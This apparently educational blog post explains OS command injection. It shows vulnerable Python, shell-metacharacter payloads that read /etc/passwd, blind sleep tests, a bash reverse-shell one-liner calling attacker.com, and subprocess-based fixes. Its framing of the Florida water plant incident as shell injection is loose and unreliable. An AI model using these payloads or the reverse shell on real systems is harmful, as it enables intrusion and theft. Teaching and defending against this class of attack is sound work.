A ping field that shells out to the OS. A file converter that calls ImageMagick. One unsanitised input and the attacker is running commands as your web server. Here's how command injection works and why it keeps appearing in CVEs.
In 2021, attackers compromised a Florida water treatment plant by exploiting a remote access tool and attempting to raise sodium hydroxide levels to dangerous concentrations. The vector wasn't sophisticated malware. It was a system that accepted user input and passed it, unsanitised, to an underlying shell.
Command injection is the vulnerability class that makes this possible. It sits behind some of the most severe CVEs ever published — CVSS scores of 9.8 and 10.0 — and it still appears in production systems at every level.
Every operating system has a shell — bash on Linux, cmd.exe on Windows — that interprets and executes strings as commands. Web applications sometimes use that shell directly, usually to run system utilities: ping a host, convert a file, run a script, check a domain.
The backend code might look like this:
import os
host = request.GET['host']
result = os.system(f"ping -c 1 {host}")If you pass 8.8.8.8 the application runs ping -c 1 8.8.8.8 and returns the output. If you pass 8.8.8.8; whoami the shell executes both. The semicolon ends the first command and starts a new one.
Bash treats several characters as control sequences. Any of these can chain, pipe, or conditionally execute additional commands:
8.8.8.8; whoami # run whoami after ping 8.8.8.8 && cat /etc/passwd # run only if ping succeeds 8.8.8.8 | ls -la / # pipe ping output to ls 8.8.8.8 `id` # backtick execution 8.8.8.8 $(id) # subshell execution
The injected commands run with the privileges of the web server process. On a misconfigured server that might be root. On a typical server it's a service account — often still enough to:
/etc/passwd, application source code, config filesA one-liner reverse shell in the ping field:
127.0.0.1; bash -i >& /dev/tcp/attacker.com/4444 0>&1
Many injection points don't return command output to the page. The application runs your command but only shows its own UI. This is blind command injection.
You confirm it exists by causing a time delay — if sleep 5 makes the response take five seconds longer, the injection is real:
127.0.0.1; sleep 5
From there you exfiltrate data out-of-band: DNS lookups, HTTP requests to your server, or writing output to a file you can then read via the normal application interface.
Look for any feature that operates on the OS: ping/traceroute tools, file conversion, document generation, image processing, DNS lookups, port scanners, SSH key generators. Any feature that might call out to a system binary is a candidate.
Test with the metacharacters above. Start with a time-delay to confirm blind injection before trying more intrusive payloads.
os.system() or exec() because it's fast and works$()The correct fix is to never pass user input to a shell at all. Use language-native libraries instead of shelling out:
# Bad — user input reaches the shell
os.system(f"ping -c 1 {host}")
# Good — subprocess with a list, no shell=True
import subprocess
subprocess.run(["ping", "-c", "1", host], capture_output=True)When you pass a list to subprocess.run with shell=False (the default), each element is treated as a literal argument. Shell metacharacters are inert.
If you genuinely need shell features, use an allowlist — only accept values from a predefined set of valid inputs and reject everything else before it ever reaches execution.
Everything in this post has a live lab on hackr.gg. Spin up a vulnerable machine and exploit it yourself — no setup, no VPN, runs in your browser.
Open Command Injection course →